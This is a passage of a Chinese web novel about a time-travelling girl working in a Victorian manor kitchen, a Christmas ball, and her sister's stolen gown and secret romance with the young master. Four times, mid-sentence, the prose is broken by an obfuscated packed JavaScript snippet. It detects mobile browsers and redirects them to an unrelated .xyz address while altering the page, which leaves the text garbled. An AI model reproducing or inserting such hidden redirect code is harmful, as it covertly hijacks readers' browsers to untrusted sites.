不过伊丽莎白忽略了一点。那就是以自己的能力，就算没有她帮忙，也有机会留在赫伯庄园。 安珀深深地看了她一眼，没有立刻回答。 良久，她才缓缓开口：“我知道了。” 伊丽莎白得到了想要的答案，露出了如释重负的笑容。她有些庆幸自己喊了安珀过来，不敢想今天站在这里的人如果换成科琳…… 正当伊丽莎白准备离开之际，安珀同样叫住了她。 伊丽莎白诧异地看向这个永远沉默的妹妹，总觉得她变了，跟自己顶嘴不说，此刻这锐利的眼神，像是能看穿一切谎言。 “伊丽莎白，我不管你在谋划什么，”安珀上前半步，声音低沉却字字清晰，“我希望你在实际行动前，考虑一下我们所有人。” 直觉告诉安珀，这里头有事儿，但她也没办法插手，只能劝诫伊丽莎白脑袋拎拎清。 伊丽莎白脸上闪过一丝不自然，却依然强装镇定：“你想多了，我能有什么事，不过是想在这庄园里过得好点。”说罢，便转身匆匆离去，背影透着几分慌乱。 * 回到厨房后，安珀依然心不在焉，脑海里不断浮现伊丽莎白与赫伯夫人一家相处的画面，伊丽莎白那身华丽的装扮和反常的举动以及艾达的语焉不详…… “安珀——” “啊？”安珀猛地回过神来，思绪从回忆中挣脱出来。 莉莉瞧着她神色不对，关心道：“你这是怎么啦？喊你好几遍都没反应，夫人没刁难你吧？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542047|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有。”安珀扯出一丝笑容，让语气尽量显得轻松。 “快来尝尝莫莉太太做的布丁，我给你留了一点。”莉莉把人拉到厨房后的一间杂物房，那里同样是莫莉太太的住所。 莉莉所说的布丁就是今天下午莫莉太太做的那道。 对于这道奇特的菜品，安珀还挺好奇的。 想到自己每天在家吃的那些黑暗料理，现在终于有机会尝试一下庄园大厨的手艺，安珀心里升起几分期待。 她也不矫情，接过布丁就直接用勺子挖了一口放进嘴里，细细品味起来。 入口确实很不错，酥软的馅饼浸润了高汤的鲜美，野兔肉也和寻常肉类不同，自带一股鲜味，莫莉太太的调味也是恰到好处。 可很快，一股奇特的异味瞬间充斥了口腔。 安珀被这股味道勾得险些干呕，好不容易忍过这股冲动，又想起馅料还口中。这下是咽也不是，吐也不是。 莉莉见她脸色几变，忍不住问：“怎么样？” 遭了，差点忘了—— 这个时代的英国猪肉是骚的！ 本来莫莉太太也没加多少猪肉，但这具身体五感超绝，一点点不对劲也能吃出来。 安珀不得不发挥毕生演技，这才把这口馅料咽了下去。 “非常美味，莫莉太太。” 虽然猪肉有异味，但并不影响莫莉太太的真实水平。 安珀试着说出布丁里的几味隐秘的调料，借机观察莫莉太太的神色，见她面露微笑和赞许，就知道自己果然没看错人。 这是一个真正懂英式料理的厨娘，且人品过硬。 或许过了这个村，就没这个店了。 想到这里，安珀鼓起勇气说：“莫莉太太，我有个不情之请……” 莫莉太太示意她直言。 “我、我能否跟您学习厨艺？” “哈哈哈哈——你在说什么呢，安珀，你的水平并不在我之下啊。”莫莉太太爽朗地大笑起来，看得出来对安珀的夸赞十分受用。 “实不相瞒，其实我会做的菜并不多。” 安珀会做的西式料理确实不多，这话也不算完全撒谎。而现在的她就像一块海绵，迫切地想要汲取英式料理的知识。 莫莉太太无疑是最好的选择！ 当然，安珀也顾及她教会徒弟，饿死师傅的担忧，又提出可以拿出几个菜谱交换。 莫莉太太确实心动了，却不全是为了安珀的菜谱，她看着厨房一地的狼藉，幽幽开口道：“当然可以。其实我也好久没有遇见一个欣赏美食的人了……” 安珀喜不自胜。 只听莫莉太太继续道：“我原本在男爵府负责后厨，我们男爵大人是个十分的风雅之人，平生最爱研究美食，每餐至少都得有十道菜品。当时的日子虽说忙碌但也充实。可自从跟随夫人嫁到赫伯家……”她说着，还翻出积灰磨损的食谱记录本，递给安珀看。 没想到莫莉太太还有这等来历，安珀一边感慨，一边接过细细地看了起来。好在她的英文水平还算不错，哪怕有些词汇比较晦涩，也能猜个七七八八。 赫伯府的餐食确实比威尔逊家的精致几分，却透着敷衍的匠气，离真正能惊艳贵族的料理还差得远。 这更加坚定了安珀想要跟随莫莉太太学习的心。 随即，她又把赫伯夫人对圣诞节餐食的要求，一五一十地告诉了莫莉太太。 莫莉太太听完，眼中瞬间燃起斗志，干劲十足地说道：“终于可以大干一场了！这次圣诞节，我一定要做出让客人回味无穷的菜肴！” “那我呢？我也想帮忙！”莉莉在一旁急得直跺脚，生怕被落下。 安珀和莫莉太太相视一笑。 “自然不会忘了你。你要是想学，我可以教你。”鉴于莉莉今天机灵的表现，安珀心里已经有了把她培养成厨娘助手的打算，这样她也算有了门手艺，不管去哪里，都能混口饭吃。 8. 圣诞舞会 是夜，安珀蜷缩在粗布被褥间辗转反侧。 刺骨的冷意顺着脚踝攀爬而上，将腿脚冻成两截沉重的铅块，与尚且温热的躯体割裂开来。此刻，她无比怀念现代纽约公寓里的恒温空调和地暖。 采买那天遇见的那位疑似威尔逊先生的男人，始终像一个刺横梗在她心中。 还有伊丽莎白，她到底想做什么？ 差点忘了玛利亚太太，家里即将迎来第六个孩子了。 这家可真是没一个省心的。 可惜自己现在手里头没钱，一点安全感也没有。 前阵子向莉莉打听了一下，像利物浦这样的大城市，稍微好一点房子，一周租金就要五到十个先令。如果要搬出去，至少需要存够二十磅。① 二十磅对于一个乡村小姑娘来说，无异于天文数字。 想到这里，安珀忍不住又翻了个身。 身下那架劣质木床随之发出“吱呀”的呻吟声，在寂静的夜里格外清晰。 黑暗中，一道女声从侧边传来：“安珀，你还没睡吗？” “抱歉，科琳……我把你吵醒了吗？” “没有，你有什么心事吗？” “没、没什么。”安珀含糊地应道。 房间内寂静了一瞬。 “啪——”科琳支起一盏煤油灯。 在昏黄的光晕中，她钻进安珀的被窝，指尖触到安珀冰凉的肌肤时，惊呼出声：“天呐！你冷得像块冰，是生病了吗？” “我没事。”安珀嘴上这般说着，僵硬的身体却出卖了她。 科琳并未就此作罢。她不知从何处找来一个南瓜形状的铁疙瘩，又匆匆下楼烧了热水灌进去。怕烫着安珀，还特意裹上一层旧布，才小心翼翼地塞进她的被窝。 当安珀冰凉的双脚触碰到温热的热源时，忍不住发出一声惬意的喟叹。 原来维多利亚时期就有“汤婆子”了。 “谢谢你，科琳。”安珀这句话是发自内心的。 天知道，她已经多少年没体会过这样的寒冷了，科琳简直是救了她的命。 为了投桃报李，安珀从手包里拿出那天领到的免费礼物递给对方，这两天太过忙碌，险些把这事儿给忘了。 科琳欣喜出声，又压低了嗓音：“手套？给我的吗？你哪来的？” 安珀如实相告后，又略带忐忑地问：“这不是花钱买的，你不会嫌弃吧？” “我可不是伊丽莎白那种不分好赖的人。可你把手套给了我，你怎么办？” 安珀心中一暖，解释道：“我用不着这个，庄园里很暖和，莫莉太太对我也很好。如果我能顺利留下，我想我很快就能买一副新手套了。” 临时工只是跳板，安珀的目标是留下来做长期工。 “我真为你高兴，安珀。” “不知道明天还有没有礼物？”安珀想起家里还有一对双胞胎，忍不住感叹道。 “不用想了，哪怕有，爸爸也不会允许我们去的。”作为家里第二大的孩子，科琳显然很了解威尔逊先生。 这倒也是，威尔逊家还没那么穷，安珀终于有了一丝迟来的羞愧。 “他可是位高贵的先生，怎么可能允许我们跟一群贫民的孩子去领救济。事实上，我们跟他们又有多大的区别呢？ “他就是个死要面子活受罪的人！” 这句话从科琳口中说出，带着几分毫不掩饰的轻蔑，或许连她自己都未曾察觉。 在威尔逊家吐槽一家之主可是个稀罕事。 玛利亚太太就不用说了，她向来温顺，看向威尔逊先生的眼神里永远充满着爱意；伊丽莎白是威尔逊先生的掌上明珠；艾米丽和贝拉尚且年幼；而安珀作为穿越者，本就对威尔逊先生没有深厚的感情，后续相处中，对他也不甚喜欢。 可她万万没想到，土生土长的科琳，竟也对这位大家长心怀不满。 这一发现让安珀心中一动。 科琳的觉醒让她非常高兴。 或许，这个与自己有着相似想法的女孩，会成为她在这个陌生世界里，未来唯一的坚实盟友。 * 早晚两餐是威尔逊全家为数不多的相处时间。 安珀坐在长桌的末席，低垂的眼眸总借着整理餐盘的动作，若有若无地扫过主位上的威尔逊先生。 她试图从对方擦拭嘴角的姿态、谈论天气时的语气，甚至是翻报纸时指尖的力度，捕捉那日集市上偶遇的熟悉感。可男人挺直的脊梁、微微上扬的下颌，都带着英伦绅士特有的矜持与疏离，让她的试探都落了空。 餐盘里的鹰嘴豆渐渐凉透，安珀终于轻叹一声，将纷乱思绪压下——想不通就不想了，倒不如把心思放在即将到来的圣诞筹备上。 接下来的几天，庄园里所有人都在为圣诞节忙碌。 罗拉太太戴着白手套，小心翼翼地捧出主人家珍藏已久的全套银制餐具交给后厨清洗。那些雕花繁复的汤勺、刻着家族纹章的餐盘，在后厨的铜盆里碰撞出清脆声响。安珀和莉莉踮着脚，用蘸了柠檬汁的软布细细擦拭，连勺柄末端的花纹缝隙都不放过。 莉莉虽然做事勤快，吐槽声却没停过。 好在善良的莫莉太太用积攒的柴火烧了热水给她们驱寒，姑娘们通红的指尖在热水中舒展，周身也温暖起来，连带着驱散了十二月的寒意。 * 时间很快就来到了圣诞当日，本该喜气洋洋的节日，威尔逊家的气压却有些低。 原来，早上伊丽莎白想偷偷出门，被威尔逊先生逮了个正着。 其实他倒是多虑了，威尔逊家的姑娘们压根不会出现在赫伯庄园的烫金请帖上。 伊丽莎白被迫请假不允许上班，玛利亚太太奉丈夫的命令，不得不挺着八个月大的肚子看守大女儿。 这时候安珀的去留反倒成了问题。 对于威尔逊先生而言，这个三女儿没什么存在感，但是如果两个孩子都不去上工，不但不符合合约精神，而且还拿不到主人家的礼物。② 他考虑再三，安珀才被允许上班。 安珀推门而出，门外的雪花纷纷扬扬，为这个世界蒙上了一层梦幻的银装。 当她踩着积雪匆匆赶到庄园时，厨房的石锅正咕嘟冒着香气，肉桂与迷迭香的味道混着烤牛肋条的焦香，几乎要掀翻天花板。 莫莉太太系着浆洗得雪白的围裙，满意地看着安珀行云流水地处理火鸡填料，啧啧称赞：“不愧是我的学生，今晚的酥皮浓汤和圣诞布丁就交给你了！” 午后三点，碎石路上传来阵阵清脆的马蹄声。一辆辆装饰华丽的马车碾过结冰的路面，身着笔挺西装的绅士们携着裹好貂皮披肩的贵妇小姐优雅下车，鱼贯步入庄园。 前厅突然传来人手短缺的消息，艾达在安珀和莉莉之间稍作权衡，最终选择了做事沉稳又勤快的安珀，叮嘱道：“你负责给客人送酒水，正餐开始前再回厨房做事。” 就这样，安珀只得换上女仆的衣服，端着盘子在人群中穿梭。 今天伊丽莎白没来，赫伯夫人身边依然坐着几位俊男靓女，其中一位姑娘尤其显眼。 那是个圆润可爱的少女，手持一把羽毛贝母扇，扇面上的羽毛随着她的娇笑轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542048|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤动，耳垂上的宝石坠子晃得人眼花。她的发间还别着两朵新鲜的红玫瑰，在满室人造花香中格外醒目。 安珀奉命把甜品给两人端过去。 做为一个合格的女佣，她全程秉持着礼仪，低头专心自己的工作。 但眼睛不去看却不能把耳朵捂起来。 听着对面几句简单的交谈，安珀就知道了这姑娘的身份—— 传说中那位利物浦男爵的女儿，赫伯夫人的外甥女，也是理查德少爷的表妹。 “这位是格雷小姐，”当安珀将圣诞布丁放在两人面前时，就听到赫伯夫人含笑介绍，“她是特地来庄园度假的，从明天开始厨房要多准备五人份的餐食。” 安珀听懂了赫伯夫人的潜台词，强压下内心的雀跃，更加恭敬道：“是的，夫人。” 少女用扇柄轻点唇边，语气娇嗔：“姨妈何必如此大费周章，我不过是惦记表哥给我买的八音盒罢了，明日就要走……” “那怎么能行，我这庄园可太缺女孩子的气息了。”赫伯夫人的声音十分柔软，她伸手将少女鬓边的红玫瑰扶正，“你可得好好陪我一阵，至少也得新年之后再走吧。” 话语间，安珀分明看到赫伯夫人眼角掠过一抹意味深长的笑意。 作为一个在台偶熏陶下长大，精通狗血八点档的华夏人，安珀自然清楚地明白这意味着什么。 先前伊丽莎白说得信誓旦旦，她还以为理查德非她不娶呢，如今看来……伊丽莎白怕是要失望了。 威尔逊先生也算是误打误撞做了件好事。 然而安珀终究是放心得太早，亦或者是对玛利亚太太过于信任。她绝对想不到，本应该关在家里的伊丽莎白，此刻正站在阁楼隐蔽处，怒火中烧地看着眼前这一幕。 安珀捧着茶盘的掌心渐渐沁出薄汗，当她将瓷杯轻轻放在另一位男士面前时，意外撞进了一双熟悉的幽蓝眼眸。 怎么是他？ 对方同样错愕，他对面前的少女还有印象。青年接过茶杯的手微微一顿，目光不着痕迹地在安珀身上流连了一圈。 安珀有一瞬间被抓包的尴尬，但职业素养让她很快调整了过来。 “请慢用，先生。” “多谢。”青年声音沉稳如常，仿佛方才的怔忪只是安珀的错觉。 * 当鎏金座钟敲响六点整，水晶吊灯依次绽放光华，将整个宴会厅照得如同白昼，赫伯庄园的圣诞晚宴在众人屏息中拉开帷幕。 身着笔挺燕尾服的青年，臂弯轻挽着一位气质优雅的女士，步伐从容地踏入舞池中央。 作为晚宴的男主人，他的开场舞格外重要，他必须邀请全场地位最高女士。 而这场舞会也将成为他迈入社交场的重要一步。 一曲终了，悠扬的乐声稍作停歇，又转而流淌出轻快的旋律。 其他绅士们纷纷上前，向各自心仪的女士发出邀约，成双成对步入舞池。随着舞步旋动，丝绸裙摆与礼服下摆交织翻飞，宾客们的面庞在水晶吊灯的映照下，满是幸福欢愉的光彩。 伊丽莎白的眼中怒火渐渐被羡慕与渴望替代，但更多的是无法掩饰的自卑。 “不过是五镑，爸爸都不肯给我，让我在这么重要的节日里如此寒酸，还不允许我出门……” 与伊丽莎白的满腹牢骚不同，安珀很快就适应了眼下的环境。 所有人都在跳舞，再没人刁难女佣们，大家都获得了片刻的悠闲。 忙碌了好几天的身体此刻仿佛撑到了极限，听着优雅的乐队演奏，靠在暖烘烘的壁炉旁，安珀昏昏欲睡。 9. 偷窃 时间不知道过去了多久，就在她快要睡着时，一个声音突兀地在耳边响起。 “嘿，安珀！” 安珀几乎是一秒惊醒。 “到！艾达？” “夫人让我们都过去一趟，拜托你先帮我盯着点。” “出什么事了？”安珀扫了一眼舞会现场，宾客们觥筹交错，可唯独不见赫伯夫人。 连男主人理查德也不在。 这十分反常。 “我也不清楚，我快去快回。”艾达小声地发着牢骚。 “行，那你快去吧。”安珀强打起精神，暗暗告诉自己不能松懈。 * 就在伊丽莎白沉浸在自怨自艾的情绪中时，一名女佣捧着一个精致的礼盒匆匆走过。 她看见伊丽莎白顿时松了口气，轻快道：“伊丽莎白？你来得正好—— “喏，这是男爵夫人赠予咱们夫人的圣诞礼物，你拿去放起来吧。” 伊丽莎白的视线循着女佣的话朝着礼盒看去。只一眼，她的目光瞬间被盒子里璀璨夺目的紫水晶项链牢牢吸引。 那晶莹的紫色，仿佛有魔力一般，勾住了她的心神。 “还愣着干什么？”女佣不管三七二十一，一股脑儿把礼盒塞在了伊丽莎白怀里。 伊丽莎白记性很好，几乎是一瞬间，脑海中就想到了好几种礼服的搭配。 如果她没记错的话，赫伯夫人柜子里，有一条洛可可风格的旧礼裙，它的裙身由五层薰衣草色的真丝构成，轻薄如蝉翼，裙摆有大片的白色鸢尾花纹样刺绣，裙边胸口处围满了层层叠叠的蕾丝。① 它曾经是那样光彩夺目，只是随着赫伯夫人年岁的增长和身材的走样，被彻底遗忘在了柜子深处。 伊丽莎白的心跳陡然加快，一个大胆而危险的念头在她心中滋生—— “如果我穿上那条裙子，再戴上这条项链，不就可以去赴约了？”她喃喃自语，指尖无意识摩挲着项链，“只要趁着宴会结束前，再把衣服项链还回来，谁也不会知道……” 这个想法如同一簇野火，瞬间点燃了她心底的欲望，理智在这一刻被彻底抛到了九霄云外。 夜色如墨，所有宾客都沉浸在舞会的热闹中。 伊丽莎白正大光明溜进赫伯夫人的房间。 她有衣帽间的钥匙，拿取一件礼服对她而言轻而易举。 当那件礼服重见天日时，伊丽莎白几乎屏住了呼吸。 接着，她又小心翼翼打开装着项链的丝绒盒，戴上了这条珍贵的项链。 当冰凉的珠宝贴上肌肤的瞬间，镜中的少女仿佛褪去了平民的外壳，化身为等待舞会上惊艳众人的千金小姐。 伊丽莎白一路避开仆人，轻手轻脚地行走在走廊里。哪怕不小心碰见她的绅士，也只当她是哪家的小姐出来散心。女佣们就更别说了，她们素日看见的伊丽莎白，就是光鲜亮丽的。 她的小聪明似乎是应验了，一路有惊无险地来到了花房。 伊丽莎白忍不住想，这回就连上帝都站在自己这边。 * 时间一分一秒流逝，楼上始终没有什么消息传来。安珀百无聊赖地坐在角落，看着舞池里穿梭的身影，满心都是烦躁。 水晶吊灯洒下柔和的光芒，将舞会的热闹映衬得愈发清晰。 安珀百无聊赖地托着下巴，目光随意扫过人群，却在看到奥尔兰多的瞬间顿住。 今天他换了一身剪裁合身前短后长的深蓝色燕尾服，静静倚在雕花廊柱旁，周身仿佛笼罩着一层温和的光晕。 与那天驱逐捣乱的贫民时判若两人。 想到自己心理年龄都二十八岁了，还跟一群小孩子领免费礼物，安珀忍不住老脸一红。 正当她胡思乱想之际，一位身着鹅黄色礼服的女士，微微红着脸，提着裙摆缓步上前。 “奥尔兰多先生，不知能否有幸与您共舞一曲？” 奥尔兰多放下酒杯，挺直身姿，向这位女士行了一个标准的绅士礼。 他深棕色的卷发在烛光下轻轻晃动，笑容真诚而温暖：“很感谢您的邀请，只是我今晚已提前与朋友有约了。不过，我想以这样美妙的音乐，定会有更出色的舞伴与您共赏。” 紧接着，他注意到对方发间微微歪斜的珍珠发扣，礼貌地示意：“抱歉，冒昧提醒，您的发饰似乎有些松了。” 说完便立刻转过身去，声音却依然温和：“您不必介意，慢慢整理就好。” 等女士整理完毕，他才缓缓回身，笑着说：“这样就更加完美了，今晚您一定会是全场的亮点。” 鹅黄色礼裙的女士羞答答地离开了。 不一会儿，另一位身着淡粉色纱裙的小姐似乎也来邀舞。奥尔兰多不知道与她说了什么，把那位小姐逗得咯咯直笑。 如此几遭安珀也发现了，这位执事先生似乎并不爱跳舞。 不过每每有女士靠近，他也总是以礼相待，认真倾听对方的话语，耐心而温柔地回应。 他的每一个动作、每一句话，都恰到好处，既展现出绅士的风度，又保持着适当的距离，让人如沐春风，不会心生怨怼。 他可真是个绅士，安珀忍不住想。 * 凛冽的北风呼啸而过，天上的雪花簌簌掉落。伊丽莎白/精致的裙摆被风吹得凌乱，她不得不把羊绒披肩裹得更紧，不断地跺脚，时不时向远处张望。 就在她快要失去耐心的时候，一个熟悉的身影冲破风雪，匆匆跑来。 正是从宴会上消失的理查德！ 他的发梢挂着晶莹的雪粒，外套上也落满了雪花，胸膛剧烈起伏着，显然是一路狂奔而来。 理查德的目光穿过风雪，与伊丽莎白的视线相撞，脚步猛地顿住。 伊丽莎白今日身着一袭淡紫色的礼裙，抹胸裙恰到好处地勾勒出她胸前的曼妙。长发被一个琥珀发卡扣在脑后，脖颈上的珠宝项链，在月光下泛着晶莹的光泽，衬得她宛如童话中的公主。 理查德眼里闪过惊艳与心动，声音更是带上了一丝不易察觉的颤抖：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542049|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊丽莎白——” 下一秒，两人便紧紧相拥在一起。 青年温热的呼吸拂过少女的耳畔：“伊丽莎白，你今晚真美。” 少女微微后仰，抬起头看着他，语气中带着些许嗔怪：“理查德，你怎么来得这样晚？” 理查德叹了口气，眼中满是歉意：“请原谅我，伊丽莎白。那是我的表妹，她是男爵的女儿，我没办法拒绝她。” 伊丽莎白轻轻摇了摇头，将头靠在他胸前：“你没有弃约就好，我当然不会怪你。” 两人依偎在一起，你侬我侬了一会儿，热恋中的小情侣总是有说不完的话。 他们沉浸在约会的喜悦中，自然也没注意到暗处的身影。 “你们在干什么！”罗拉太太从树影中走出，瞪大的双眼满是震惊与愤怒。 这突如其来的声音如惊雷炸响，两人如触电般迅速分开。 伊丽莎白惊恐转身，理查德也慌乱后退一步。 “伊丽莎白？你不是请假了嘛，为何出现在这里？”负责考勤的罗拉太太当然清楚今日的排班。她又转向理查德，语气充满诧异：“少爷，您怎么在这儿？你们到底在做什么？” “我、我在给伊丽莎白交代工作。”理查德强装镇定地解释道。 “交代工作？”这么牵强的理由可糊弄不了罗拉太太，她的目光突然聚焦在伊丽莎白身上，然后忍不住上前两步，低声骂道：“你穿的是什么？这是夫人的礼服！你竟敢擅自偷穿！” 伊丽莎白已经完全被这一遭吓傻了，她张了张嘴，想要解释，可喉咙像是被冰雪堵住了似的，发不出一点声音。 理查德被这一出搞得心烦意乱：“罗拉，你误会了吧，这怎么会是母亲的衣服，我从未见她穿过。行了，你快下去吧，我马上就回来。” “误会？这分明就是偷窃！”罗拉太太根本不听他的解释，转身快步离开，“我要马上告诉夫人！” 伊丽莎白只觉得眼前一黑，绝望如潮水般将她淹没。她慌乱地摘下项链，可双手抖得厉害，怎么也解不开扣子。 理查德见状，心里顿时明白了三分，他立刻上前帮忙，可却越帮越忙，两人的手忙脚乱让场面更加失控。 没过多久，赫伯夫人在罗拉太太的陪同下匆匆赶来。 她身着一席黑色的天鹅绒礼裙，外搭一件华丽的貂皮大衣，周身散发着不怒自威的气势。当她看到狼狈的伊丽莎白和满脸焦急的理查德时，脸色阴沉得可怕。 “伊丽莎白，你不是请假了嘛，现在你告诉我，为什么你会出现在这里吗？”赫伯夫人的目光如利箭般射向伊丽莎白，让她浑身发冷。 伊丽莎白哑口无言，泪水在眼眶中打转。她总不能说自己偷偷在跟您的儿子幽会吧。 “罗拉，把全庄园所有长期工都喊到我的书房，不要惊动客人。” “夫人，是我御下不严，请把这件事交给我处理吧。”罗拉太太连忙恳求道。 “快去吧，不要让我重复第二遍。”赫伯夫人的语气不容置疑。 10. 惩罚 作为一名上了年纪且不缺钱的寡妇，举办热闹的舞会是赫伯夫人为数不多的兴趣爱好。然而她遵循旧制，常年只着黑色的丧服，这些漂亮的衣裙都穿不了。 原本伊丽莎白只是被介绍过来做女佣的。 一次偶然的机会，伊丽莎白在整理衣帽间时，被赫伯夫人慧眼识中。她年轻漂亮，身材纤细，还识字，赫伯夫人看见她就像看见自己年轻时候的模样。 最关键的是，每一件裙子在伊丽莎白身上都能大放光彩，故而每次购买新衣，她都喜欢带上伊丽莎白。时间长了，伊丽莎白竟无师自通地懂得了色彩和服饰的搭配。 后来，赫伯夫人索性把衣帽间的钥匙交给了伊丽莎白保管，让她每日打理自己的服饰。 在这方面伊丽莎白完成地确实非常出色，渐渐地，她也开始脱手打扫卫生的那些活儿了。底下的女佣们见此虽然不满，却碍于赫伯夫人对她的喜爱没有说什么，反而帮她承担了大部分的工作。 赫伯夫人非常倚重伊丽莎白也不防着她，知道她家姐妹众多，有些淘汰的裙子直接就送给她了。 此举又惹得庄园上下的女仆们嫉妒不已，也让伊丽莎白生出自己与众不同的感觉。 * 直到被带到书房前，伊丽莎白依然心存侥幸。 她可是夫人最得力的助手，夫人那么善良大方，肯定不会责怪自己的。 但她忽视了一点，对于注重礼仪规矩的赫伯夫人来说，女佣勾引主人家的儿子，这种挑战阶级的事情比偷穿裙子性质更严重！ 伊丽莎白偷瞥了一眼身旁的理查德，希望他能为自己说句好话，哪怕只有一句，可对方只是垂着头，连目光都不敢与她对视。 伊丽莎白又急又怕，她攥紧裙摆，喉头发紧，好不容易挤出一句：“夫人，我……” “你倒是好眼光，这件礼服还是祖母传给我的。”赫伯夫人冷哼一声，打断了她的话。 伊丽莎白从未见过如此严肃的夫人，冰冷到让她陌生。 她还没反应过来，身后突然被人猛地撞击了一下，一个趔趄双膝不受控制地重重磕在坚硬的地板上，钻心的疼痛顿时袭来，伊丽莎白隐忍许久的泪水再也不受控制，汹涌而出：“夫人，您一向疼爱我，这次是我错了，我再也不敢了，礼服我会清洗干净的，求您原谅我这次吧……” 赫伯夫人并不在意伊丽莎白的狼狈，只是居高临下地睨着她：“我原以为你至少是个本分的姑娘，没想到居然做出这种事！你有喜欢裙子完全可以告诉我，为什么要偷窃呢？” 这话算是把罪名给彻底钉死了。 滚烫的泪水还在脸颊上，伊丽莎白却感觉如坠冰窟，她望着赫伯夫人掩盖在脂粉下的冰冷神色，终于明白往日那些温情都是错觉。 除了不断求饶，她已别无他法。 赫伯夫人又看向儿子，眼神中满是失望：“你也太让我失望了，居然和一个下人纠缠不清。” 很快，庄园全体工作人员都被召集到书房。众人疑惑地看向跪着的伊丽莎白，不知发生了何事。 有位眼尖的女佣一眼发现了端倪，幸灾乐祸地掩嘴偷笑。 伊丽莎白偷偷扫视一圈，见人群中并没有妹妹，这让她焦灼的心稍稍安定了几分。 可偷窃如此昂贵的财物，虽然没有造成损失，但如果夫人铁了心追究到底，把她交给治安官的话，家里所有的姐妹都要受到牵连。 直至此刻，真正的懊悔才如潮水般将她淹没。 伊丽莎白掩面痛哭，她彻底意识到了自己的愚蠢，是她鬼迷了心窍，只要夫人不报警，她愿意接受任何惩罚。 * “莉莉，你怎么在这儿？”安珀诧异地看着眼前气喘吁吁的伙伴。 她清楚莉莉做事毛手毛脚，所以前厅缺人手时，艾达才会第一时间调自己去补缺。如今连莉莉都被召集过来，看来既夫人少爷管家太太之后，庄园里所有长期工也已被喊走了。 “到底出什么事了？为什么大家都被叫走了？”安珀忍不住追问。 莉莉搓着冻红的手，哈出一口白气：“我也不清楚，稀里糊涂就被喊来了。刚好罗拉太太不在，咱们就趁这会儿偷偷懒，前厅可比厨房暖和多了！” “别想着偷懒了，”安珀哭笑不得，抓住莉莉的胳膊，“我感觉发生了什么大事，你帮我去打听打听呗，回头我请你吃好吃的。记住，一定要悄悄的，小心谨慎些。” 及时了解主人家的动向，也有利于今后的事业发展。 莉莉虽然茫然，却也照做不误，她很快就找到了相熟的领班，可惜对方并未透露太多。 于是她只好又跑了回来：“楼上的姐姐们也不清楚，好像是夫人的贴身女佣在整理夫人衣物时出了差错。” 就为这点小事大动干戈？ 安珀皱起眉头，直觉告诉她，事情恐怕没这么简单。 * 书房内 伊丽莎白哭完冷静了许多，她意识到自己必须得到夫人的谅解，于是再次将求救的目光投向理查德。 终于，理查德深吸一口气，硬着头皮站了出来：“妈妈，今晚的舞会还需要主人接待宾客，要不这件事明天再说吧。” “这就是你的处理方式吗？理查德？”赫伯夫人语气冰冷。 眼见气氛剑拔弩张，罗拉太太连忙开口：“夫人，舞会要紧，后半场就要开始了，我马上让人把伊丽莎白带下去换身衣服……” “不——”赫伯太太抬手制止，她似乎平复了心情，恢复了往日的温婉优雅，好像什么都没发生过一样。 “伊丽莎白，你是否真的很喜欢这条项链和这件礼服？如果你喜欢，我可以送给你，自然你也就不算是偷窃了。” 此言一出，全场鸦雀无声。 很快，女佣们开始窃窃私语，她们都不明白女主人此举的用意。 伊丽莎白同样错愕，她僵在原地， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542050|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉后背的冷汗已经浸透了衣襟。 这不是一道选择题。 赫伯夫人走到近前，上下打量了一番眼前这个狼狈不堪的少女，对方身上已然没了她欣赏的特质。 终于，她似怜惜又似施舍般地开口了：“我想你一定是非常喜欢这条裙子和项链，才会做出这样昏头的事情。”她俯下身来，目光在伊丽莎白脖颈间的项链上顿住，“如今，它们是你的了……但愿你以后还有机会穿上它们！” 说完，她优雅地挽起儿子的手臂，转身离去。那优雅从容的步伐，仿佛只是结束了一场无关紧要的闲聊。 临走前，理查德偷偷回头看了一眼，他看见了伊丽莎白掉落在地板上的泪珠，也看见了她空洞无助的双眼，可当他对上母亲警告的眼神，所有的冲动都化作了无声的叹息。 